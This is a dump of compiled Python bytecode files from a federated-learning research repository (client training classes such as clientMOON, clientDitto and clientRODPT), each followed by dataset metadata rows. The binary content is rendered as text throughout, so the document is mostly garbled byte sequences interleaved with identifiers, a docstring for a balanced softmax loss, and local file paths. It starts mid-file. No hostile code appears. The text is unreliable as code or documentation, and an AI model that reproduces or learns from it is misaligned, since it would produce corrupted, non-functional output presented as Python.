ÚlogÚexpÚFÚcosine_similarityr r ÚmeanÚbackwardÚprivacyÚdp_stepÚlenÚstepr r Útrain_time_cost)r Ú trainloaderÚ
start_timeÚmax_local_stepsrB ÚiÚxÚyÚrepÚoutputr Zrep_oldZ
rep_globalZloss_conr r r r' s:
PzclientMOON.trainc C s4 t | ¡ | j ¡ ƒD ]\}}|j ¡ |_q|| _d S )N)Úzipr r
ÚdataÚcloner )r r
Ú new_paramÚ old_paramr r r Úset_parametersK s zclientMOON.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r' rQ Ú
__classcell__r r r r r s .r )
r r
Útorch.nnr Únumpyr* r& Útorch.nn.functionalÚ
functionalr; Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,382 | Python | .py | 23 | 102.478261 | 291 | 0.458475 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,640 | clientmtl.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmtl.cpython-38.pyc | U
”jfcª
ã @ s\ d dl Z d dlmZ d dlmZ d dlZd dlZd dlZd dl Z G dd„ deƒZ
dd„ Z dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientMTLc s` t ƒ j||||f|� d | _d | _d| _|j| _d| _t ¡ | _ t
j j | j
¡ | jdd�| _d S )Nr g-C ëâ6?g à?)ÚlrÚmomentum)ÚsuperÚ__init__ÚomegaÚW_globÚidxZitkZlambaÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õK D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientmtl.pyr s
zclientMTL.__init__c C s | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t |ƒD �]*}|D �] \}}t |ƒt g ƒkrˆ|d | j¡|d< n | | j¡}| | j¡}| jrÀt
dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡}t| jƒ| jd d …| jf< d} | | j ¡ d 7 } | t t | j| j d¡d ¡7 } tt | jj d ¡d ƒd }
| d|
9 } || 7 }| ¡ | j ¡ qXqN| j ¡ d | _d | _| j!d d7 < | j!d t ¡ | 7 < d S )Né é r gš™™™™™¹?é
Ú
num_roundsÚ
total_cost)"Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandr Ú zero_gradr
Úflattenr r
Únormr Úsumr ÚintÚmathÚlog10ÚshapeÚbackwardÚstepÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚmax_local_stepsr< ÚxÚyÚoutputr
Zloss_regularizerÚfr r r r( s@
"
zclientMTL.trainc C s* t |d d ¡| _t |¡| _|| _d S )Nr )r Úsqrtr ÚcopyÚdeepcopyr r
)r r r r
r r r Úreceive_valuesH s zclientMTL.receive_values)Ú__name__Ú
__module__Ú __qualname__r r( rI Ú
__classcell__r r r r r
s 1r c s, | ¡ ‰ ˆ ¡ }‡ fdd„|D ƒ}t |¡S )Nc s g | ]}ˆ | ¡ ‘qS r )r4 )Ú.0Úkey©Ú
state_dictr r Ú
<listcomp>Q s zflatten.<locals>.<listcomp>)rQ Úkeysr Úcat)r rS ÚWr rP r r4 N s r4 ) r Útorch.nnr Úflcore.clients.clientbaser Únumpyr+ r% r8 rG r r4 r r r r Ú<module> s D | 2,533 | Python | .py | 26 | 96.269231 | 278 | 0.419856 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,641 | clientrodpt.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrodpt.cpython-38.pyc | U
Åìıcû! ã @ s d dl Z d dlZd dlmZ d dlZd dlZd dlmZ d dl m m
Z d dl m
Z
d dlmZ d dl Z d dl m
Z
d dlmZ G dd„ deƒZd
dd „ZdS ) é N)ÚClient)Úlabel_binarize)Úmetricsc s> e Zd Z‡ fdd„Zdd„ Zd dd„Zdd „ Zd
d„ Z‡ ZS ) Ú clientRODPTc
s t ƒ j||||f|� t ¡ | _tj | jj
¡ | j dœ| jj
¡ | j dœg¡| _
|j| _tjj| jj
¡ |j|jd�| _tjjj| j| j|jd�| _t | jj ¡| _tjj| j
¡ | j d�| _t | j ¡| _ | ¡ }|D ](\}}|D ]} | j | ¡ d7 < qæqÚd S )N)ÚparamsÚlr)r Úmomentum)Ú step_sizeÚgamma)r é ) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ predictorÚ optimizerÚ plocal_stepsÚ generatorÚpt_learning_rater Ú
poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ schedulerÚcopyÚdeepcopyÚpredÚopt_predÚzerosÚ num_classesÚsample_per_classÚload_train_dataÚitem)
ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsÚ trainloaderÚxÚyÚyy©Ú __class__© õY D:\京东\promot\第二次投稿\å®�验\native - pro\system\flcore\clients\clientrodpt.pyr
s(
şÿÿ zclientRODPT.__init__c C sR | ¡ }t ¡ }t | jj¡}| j | j¡ | j | j¡ | j ¡ | jj
¡ D ]
}d|_ qP| jj ¡ D ]
}d|_ qh| jj
¡ D ]
}d|_ q€t| jƒD ]¶}t|ƒD ]¨\}\}}t|ƒtg ƒkrÔ|d | j¡|d< n | | j¡}| | j¡}| j�rt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ | j ¡ q¢q–| j } | j�rntj d| d ¡} | jj
¡ D ] }d|_ �qz| jj ¡ D ] }d|_ �q”| jj
¡ D ] }d|_ �q®t| ƒD ]æ}t|ƒD ]Ö\}\}}t|ƒtg ƒk�r|d | j¡|d< n | | j¡}| | j¡}| j
| j |¡¡} | j
| ¡}
t ||
| j!ƒ}| j" ¡ | ¡ | j" ¡ | | #¡ ¡}| |
#¡ | |¡}
| j$ ¡ |
¡ | j$ ¡ �qĞ�qÄ| j %¡ | j %¡ t | jj¡}d}t&| ¡ | ¡ ƒD ]<\}}|| }t' (|dk|t' )|¡| ¡}|t' *|¡ }�qä| j+d d7 < | j+d t ¡ | 7 < |S ) NFTr gš™™™™™¹?r é Ú
num_roundsÚ
total_cost),r) Útimer" r# r r ÚtoÚdevicer$ Útrainr r Ú
requires_gradr Úranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepr! Ú local_stepsÚrandintÚbalanced_softmax_lossr( r Údetachr% ÚcpuÚzipr ÚwhereÚ
zeros_likeÚsumÚtrain_time_cost)r+ r1 Ú
start_timeÚ
old_promptÚparamrL Úir2 r3 Úoutputr Úmax_local_stepsÚrepÚout_gÚloss_bsmÚout_pÚ
new_promptÚ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror7 r7 r8 r? ( s~
zclientRODPT.trainNc C sŞ | ¡ }|d kr| j}| j | j¡ | j | j¡ | ¡ d}d}g }g }t ¡ ��: |D �],\}}t|ƒtg ƒkrŠ|d | j¡|d< n | | j¡}| | j¡}| j | j
|¡¡} | j | ¡}
| | ¡ ¡} |
¡ | } |t
tj| dd�|k¡ ¡ 7 }||jd 7 }| t | ¡ ¡ ¡ ¡ ¡ | j}
| jdk�r@|
d7 }
t| ¡ ¡ ¡ t |
¡d�}| jdk�r~|d d …d d…f }| |¡ qZW 5 Q R X | j ¡ | j ¡ tj|dd�}tj|dd�}tj ||dd�}|||fS ) Nr r ©Údimr9 ©Úclasses©ÚaxisÚmicro©Úaverage) Úload_test_datar r= r> r$ Úevalr Úno_gradrC r r r rP rU Úargmaxr* ÚshapeÚappendÚFÚsoftmaxrQ Únumpyr' r rF ÚarangeÚ concatenater Ú
roc_auc_score)r+ r Ú
testloaderÚtest_accÚtest_numÚy_probÚy_truer2 r3 r] r^ r` r[ ÚncÚlbÚaucr7 r7 r8 Ú test_metricst sH
zclientRODPT.test_metricsc C s` t |j ¡ | jj ¡ ƒD ]\}}|j ¡ |_qt |j ¡ | jj ¡ ƒD ]\}}|j ¡ |_qFd S )N)rR r r r ÚdataÚcloner )r+ r rc rd r7 r7 r8 Úset_parameters s zclientRODPT.set_parametersc C s~ | ¡ }| j | j¡ | j ¡ d}d}d}g }g }t ¡ �ú |D ]î\}}t|ƒtg ƒkrp|d | j¡|d< n | | j¡}| | j¡}| |¡} | j | j |¡¡}
|t
tj | dd�|k¡ ¡ 7 }|t
tj |
dd�|k¡ ¡ 7 }||j
d 7 }| | ¡ ¡ ¡ ¡ | t| ¡ ¡ ¡ t | j¡d�¡ qBW 5 Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} |||| fS )Nr r rf rh rj rl rm )ro r r= r> rp r rq rC r r rU rr r* rs rt rP rQ rw r rF rx r' ry r rz ) r+ Útestloaderfullr| Ú test_acc2r} r~ r r2 r3 r[ Úoutput2r‚ r7 r7 r8 rƒ ¦ s4
2
)N)Ú__name__Ú
__module__Ú __qualname__r
r? rƒ r† Ú
__classcell__r7 r7 r5 r8 r s
L
,r Úmeanc C sB | |¡}| d¡ |jd d¡}|| ¡ }tj|| |d�}|S )a} Compute the Balanced Softmax Loss between `logits` and the ground truth `labels`.
Args:
labels: A int tensor of size [batch].
logits: A float tensor of size [batch, no_of_classes].
sample_per_class: A int tensor of size [no of classes].
reduction: string. One of "none", "mean", "sum"
Returns:
loss: A float tensor. Balanced Softmax Loss.
r éÿÿÿÿ)ÚinputÚtargetÚ reduction)Útype_asÚ unsqueezeÚexpandrs Úlogru Ú
cross_entropy)ÚlabelsÚlogitsr( r’ Úspcr r7 r7 r8 rO Í s
rO )r� )r" r Útorch.nnr rw rF r< Úflcore.clients.clientbaser Útorch.nn.functionalÚ
functionalru Úsklearn.preprocessingr Úsklearnr r rO r7 r7 r7 r8 Ú<module> s @ | 5,970 | Python | .py | 71 | 82.211268 | 539 | 0.404645 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,642 | clientbn.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbn.cpython-39.pyc | a
Öæ`cŸ ã @ sD d dl Z d dlmZ d dlZd dlZd dlmZ G dd„ deƒZdS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )ÚclientBNc sB t ƒ j||||fi |¤� t ¡ | _tjj| j ¡ | j
d�| _ d S )N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© úq/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientbn.pyr
s
zclientBN.__init__c C sz | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t |ƒD ]Ä}t
|ƒD ]¶\}\}}t |ƒt g ƒkr~|d | j
¡|d< n | | j
¡}| | j
¡}| jr¶t dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | jrøt| j|t|ƒƒ qL| j ¡ qLq@| jd d7 < | jd t ¡ | 7 < | j�rvt| jƒ\}
} td| j › �d|
d d ›d
| › d |
d › �ƒ d S ) Né é r gš™™™™™¹?Ú
num_roundsÚ
total_costzClient u (ε = z.2fu , δ = u ) for α = ) Úload_train_dataÚtimer
ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚprivacyÚdp_stepÚlenÚstepÚtrain_time_costZ
get_dp_paramsÚprintr ) r Ú trainloaderÚ
start_timeÚmax_local_stepsr4 ÚiÚxÚyÚoutputr ÚresZDELTAr r r r! s4
zclientBN.trainc C s> t | ¡ | j ¡ ƒD ]$\\}}\}}d|vr|j ¡ |_qd S )NÚbn)ÚzipÚnamed_parametersr
ÚdataÚclone)r r
r r$ ÚonÚopr r r Úset_parameters< s $zclientBN.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r! rF Ú
__classcell__r r r r r s 'r ) r
Útorch.nnr Únumpyr$ r Úflcore.clients.clientbaser r r r r r Ú<module> s
| 2,077 | Python | .py | 21 | 97.857143 | 297 | 0.461351 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,643 | clientditto.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientditto.cpython-37.pyc | B
E&fcñ ã @ s‚ d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dl m
Z
d dl m m Z
d dlmZ d dlmZ G dd„ de
ƒZdS )é N)ÚPerturbedGradientDescent)ÚClient)Úlabel_binarize)Úmetricsc s4 e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Z‡ ZS ) Ú clientDittoc sv t ƒ j||||f|� |j| _|j| _t | j¡| _t ¡ | _
t j j
| j ¡ | jd�| _t| j ¡ | j| jd�| _d S )N)Úlr)r Úmu)ÚsuperÚ__init__r Ú plocal_stepsÚcopyÚdeepcopyÚmodelÚpmodelÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚ
parametersÚ
learning_rateÚ optimizerr Ú
poptimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úH/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientditto.pyr
s
zclientDitto.__init__c
C sX | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}xÖt |ƒD ]Ê}xÄt |ƒD ]¸\}\}}t
|ƒt
g ƒkr�|d | j¡|d< n | | j¡}| | j¡}| jrÈt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j�r t| j|t|ƒƒ q^| j ¡ q^W qPW | j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpuÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr< ÚiÚxÚyÚoutputr r! r! r" r+ ! s2
zclientDitto.trainc C s. | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}x¾t |ƒD ]²}x¬|D ]¤\}}t |ƒt g ƒkrˆ|d | j¡|d< n | | j¡}| | j¡}| jrÀt
dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡}| ¡ | j | j ¡ | j¡ qZW qPW | j ¡ | jd t ¡ | 7 < d S )Nr# r$ r gš™™™™™¹?r& )r' r( r r) r* r+ r r- r. r/ r0 r1 r3 r4 r5 r6 r r7 r r8 r< r r r= r> ) r r? r@ rA r< rC rD rE r r! r! r" ÚptrainI s,
zclientDitto.ptrainc
C sN | ¡ }| j | j¡ | j ¡ d}d}g }g }t ¡ �Ğ xÈ|D ]À\}}t|ƒtg ƒkrn|d | j¡|d< n | | j¡}| | j¡}| |¡}|t tj |dd�|k¡
¡ 7 }||j d 7 }| t
|¡ ¡ ¡ ¡ ¡ | t| ¡ ¡ ¡ t | j¡d�¡ q@W W d Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} ||| fS )Nr r# )Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datar r) r* Úevalr Úno_gradr3 ÚsumÚargmaxÚitemÚshapeÚappendÚFÚsoftmaxÚdetachr= Únumpyr r. ÚarangeÚ num_classesÚ concatenater Ú
roc_auc_score)
r ÚtestloaderfullÚtest_accÚtest_numÚy_probÚy_truerC rD rE Úaucr! r! r" Ú test_metricsh s.
4
zclientDitto.test_metrics)Ú__name__Ú
__module__Ú __qualname__r
r+ rF rb Ú
__classcell__r! r! )r r" r s ( r )r rW r. r( r Útorch.nnr Ú flcore.optimizers.fedoptimizerr Úflcore.clients.clientbaser Útorch.nn.functionalÚ
functionalrT Úsklearn.preprocessingr Úsklearnr r r! r! r! r" Ú<module> s | 3,486 | Python | .py | 36 | 95.666667 | 490 | 0.424515 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,644 | clientbabupt.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbabupt.cpython-38.pyc | U
3Èıck ã @ sl d dl Z d dlZd dlmZ d dlZd dlZd dlmZ d dl Z d dl m
Z
d dl m Z G dd„ deƒZ
dS )é N)ÚClient)Úlabel_binarize)Úmetricsc sD e Zd Z‡ fdd„Zdd„ Zdd„ Zddgfd d
„Zd d „ Z‡ ZS )
Ú clientBABUPTc sÀ t ƒ j||||f|� t ¡ | _tjj| jj
¡ | j d�| _ |j
| _
tjj| jj
¡ | j d�| _ |j| _tjj| jj
¡ |j|jd�| _tjjj| j| j|jd�| _| jj
¡ D ]
}d|_q°d S )N)Úlr)r Úmomentum)Ú step_sizeÚgammaF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ optimizerÚfine_tuning_stepsÚ plocal_stepsÚ generatorÚpt_learning_rater Ú
poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ schedulerÚ predictorÚ
requires_grad)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsÚparam©Ú __class__© õZ D:\京东\promot\第二次投稿\å®�验\native - pro\system\flcore\clients\clientbabupt.pyr s
ÿÿzclientBABUPT.__init__c C s | ¡ }t ¡ }t | jj¡}| j | j¡ | j ¡ | jj
¡ D ]
}d|_ qB| jj
¡ D ]
}d|_ qZ| jj
¡ D ]
}d|_ qrt
| jƒD ]´}t|ƒD ]¦\}\}}t|ƒtg ƒkrÆ|d | j¡|d< n | | j¡}| | j¡}| jrşt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ | j ¡ q”qˆ| j } | j�r^tj d| d ¡} | jj
¡ D ] }d|_ �qj| jj
¡ D ] }d|_ �q„| jj
¡ D ] }d|_ �q�t
| ƒD ]²}t|ƒD ]¢\}\}}t|ƒtg ƒk�rô|d | j¡|d< n | | j¡}| | j¡}| j�r.t dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ �qÀ�q´| j ¡ t | jj¡} d}
t!|
¡ |
¡ ƒD ]<\}}|| }t" #|dk|t" $|¡| ¡}|
t" %|¡ }
�q–| j&d d7 < | j&d t ¡ | 7 < |
S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost)'Úload_train_dataÚtimeÚcopyÚdeepcopyr r ÚtoÚdeviceÚtrainr r r! r Úranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepr Ú local_stepsÚrandintr ÚcpuÚzipr ÚwhereÚ
zeros_likeÚsumÚtrain_time_cost)r" Ú trainloaderÚ
start_timeÚ
old_promptr( rC ÚiÚxÚyÚoutputr Úmax_local_stepsÚ
new_promptÚ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror+ r+ r, r7 sr
zclientBABUPT.trainc C s2 t |j ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S )N)rG r r r ÚdataÚclone)r" r rV rW r+ r+ r, Úset_parameters_ s zclientBABUPT.set_parametersr r c
C s | ¡ }| j | j¡ | j ¡ d|kr@| jj ¡ D ]
}d|_q4d|kr`| jj ¡ D ]
}d|_qTt| j ƒD ]Š}t
|ƒD ]|\}\}}t |ƒt g ƒkr¨|d | j¡|d< n | | j¡}| | j¡}| j
¡ | |¡}| ||¡} | ¡ | j ¡ qvqj| j ¡ d S )Nr Tr Fr )r1 r r5 r6 r7 r r r! r8 r r9 r: r rA r rB rC rF )
r" Ú which_modulerL r( rC rO rP rQ rR r r+ r+ r, Ú fine_tunec s*
zclientBABUPT.fine_tunec C s~ | ¡ }| j | j¡ | j ¡ d}d}d}g }g }t ¡ �ú |D ]î\}}t|ƒtg ƒkrp|d | j¡|d< n | | j¡}| | j¡}| |¡} | j | j |¡¡}
|t
tj | dd�|k¡ ¡ 7 }|t
tj |
dd�|k¡ ¡ 7 }||j
d 7 }| | ¡ ¡ ¡ ¡ | t| ¡ ¡ ¡ t | j¡d�¡ qBW 5 Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} |||| fS )Nr r- )Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datar r5 r6 Úevalr Úno_gradr: r r rJ ÚargmaxÚitemÚshapeÚappendÚdetachrF Únumpyr r= ÚarangeÚ num_classesÚ concatenater Ú
roc_auc_score) r" ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truerP rQ rR Úoutput2Úaucr+ r+ r, Ú test_metrics~ s4
2
zclientBABUPT.test_metrics) Ú__name__Ú
__module__Ú __qualname__r r7 r[ r] rx Ú
__classcell__r+ r+ r) r, r s
Ar )r3 r Útorch.nnr rk r= r2 Úflcore.clients.clientbaser Úsklearn.preprocessingr Úsklearnr r r+ r+ r+ r, Ú<module> s | 4,511 | Python | .py | 63 | 70.222222 | 558 | 0.404136 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,645 | clientpt.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientpt.cpython-37.pyc | B
K´cc
ã @ sL d dl Z d dlmZ d dlZd dlZd dlmZ d dlZG dd„ deƒZ dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )ÚclientPTc sd t ƒ j||||f|� t ¡ | _tjj| jj
¡ | j d�| _ tjj| jj
¡ | j d�| _|j| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ generatorÚ
parametersÚ
learning_rateÚ
poptimizerÚbaseÚ optimizerÚ plocal_steps)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úE/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientpt.pyr
s
zclientPT.__init__c C sì | ¡ }t ¡ }t | jj¡}| j | j¡ | j ¡ x| jj
¡ D ]
}d|_ qDW x| jj
¡ D ]
}d|_ q`W x¼t | j
ƒD ]®}x¨t|ƒD ]œ\}\}}t|ƒtg ƒkrº|d | j¡|d< n | | j¡}| | j¡}| jròt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ qˆW qzW | j} | j�rLtj d| d ¡} x | jj
¡ D ] }d|_ �qZW x | jj
¡ D ] }d|_ �qxW xÂt | ƒD ]¶}x®t|ƒD ]¢\}\}}t|ƒtg ƒk�rÔ|d | j¡|d< n | | j¡}| | j¡}| j�rt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ �q W �q’W | j ¡ t | jj¡} d}
xRt |
¡ |
¡ ƒD ]<\}}|| }t !|dk|t "|¡| ¡}|
t #|¡ }
�q|W | j$d d7 < | j$d t ¡ | 7 < |
S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost)%Úload_train_dataÚtimeÚcopyÚdeepcopyr
r ÚtoÚdeviceÚtrainr r Ú
requires_gradÚranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintr ÚcpuÚzipr
ÚwhereÚ
zeros_likeÚsumÚtrain_time_cost)r Ú trainloaderÚ
start_timeZ
old_promptÚparamr5 ÚiÚxÚyÚoutputr Úmax_local_stepsZ
new_promptZ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror r r r( sh
zclientPT.trainc C s4 x.t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qW d S )N)r9 r r
r ÚdataÚclone)r r rF rG r r r Úset_parametersY s zclientPT.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r( rK Ú
__classcell__r r )r r r s
Br )
r
Útorch.nnr Únumpyr/ r# Ú system.flcore.clients.clientbaser r$ r r r r r Ú<module> s | 2,568 | Python | .py | 40 | 62.775 | 285 | 0.426255 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,646 | clientmoon.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmoon.cpython-38.pyc | U
”jfcÏ ã @ s^ d dl Z d dlZd dlmZ d dlZd dlZd dlm mZ d dl
m Z G dd„ de ƒZ dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú
clientMOONc sb t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ |j
| _
d | _t | j¡| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚtauÚmuÚ global_modelÚcopyÚdeepcopyÚ old_model)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õL D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientmoon.pyr s
zclientMOON.__init__c C s$ | ¡ }t ¡ }| j | j¡ | j | j¡ | j | j¡ | j ¡ | j}| j rbt
j d|d ¡}t
|ƒD �]Z}t|ƒD �]J\}\}}t|ƒtg ƒkr¬|d | j¡|d< n | | j¡}| | j¡}| j rät dt
t
j ¡ ¡ ¡ | j ¡ | j |¡}| j |¡} | | |¡}
| j |¡ ¡ } | j |¡ ¡ } t t t || ¡| j ¡t t || ¡| j ¡t t || ¡| j ¡ ¡ }
|
| j t |
¡ 7 }
|
!¡ | j"�rºt#| j|t$|ƒƒ qx| j %¡ qxqj| j &¡ | j &¡ | j &¡ t' (| j¡| _| j)d d7 < | j)d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)*Úload_train_dataÚtimer
ÚtoÚdevicer r ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradÚbaseÚ predictorr Údetachr
ÚlogÚexpÚFÚcosine_similarityr r ÚmeanÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpur r Útrain_time_cost)r Ú trainloaderÚ
start_timeÚmax_local_stepsrB ÚiÚxÚyÚrepÚoutputr Zrep_oldZ
rep_globalZloss_conr r r r) sF
P
zclientMOON.trainc C s4 t | ¡ | j ¡ ƒD ]\}}|j ¡ |_q|| _d S )N)Úzipr r
ÚdataÚcloner )r r
Ú new_paramÚ old_paramr r r Úset_parametersO s zclientMOON.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r) rR Ú
__classcell__r r r r r s 2r )
r r
Útorch.nnr Únumpyr, r& Útorch.nn.functionalÚ
functionalr; Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,431 | Python | .py | 28 | 85.714286 | 263 | 0.44218 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,647 | clientrod.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrod.cpython-39.pyc | a
f¾`cı ã @ s€ d dl Z d dlZd dlmZ d dlZd dlZd dlmZ d dl m m
Z d dl m
Z
d dlmZ G dd„ deƒZd
dd „ZdS ) é N)ÚClient)Úlabel_binarize)Úmetricsc s. e Zd Z‡ fdd„Zdd„ Zddd„Z‡ ZS ) Ú clientRODc
s° t ƒ j||||fi |¤� t ¡ | _tjj| j ¡ | j
d�| _ t
| jj¡| _tjj| j ¡ | j
d�| _t | j¡| _| ¡ }|D ](\}}|D ]} | j| ¡ d7 < q�q‚d S )N)Úlré )ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚcopyÚdeepcopyÚ predictorÚpredÚopt_predÚzerosÚ num_classesÚsample_per_classÚload_train_dataÚitem)
ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsÚ trainloaderÚxÚyÚyy©Ú __class__© úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientrod.pyr
s
zclientROD.__init__c
C sJ | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t |ƒD ]Ø}t
|ƒD ]Ê\}\}}t |ƒt g ƒkr~|d | j
¡|d< n | | j
¡}| | j
¡}| j |¡}| j |¡} t|| | jƒ}
| j ¡ |
¡ | j ¡ | | ¡ ¡} | | ¡ | |¡} | j ¡ | ¡ | j ¡ qLq@| jd d7 < | jd t ¡ | 7 < d S )Nr é r Ú
num_roundsÚ
total_cost)r Útimer ÚtrainÚ local_stepsÚ
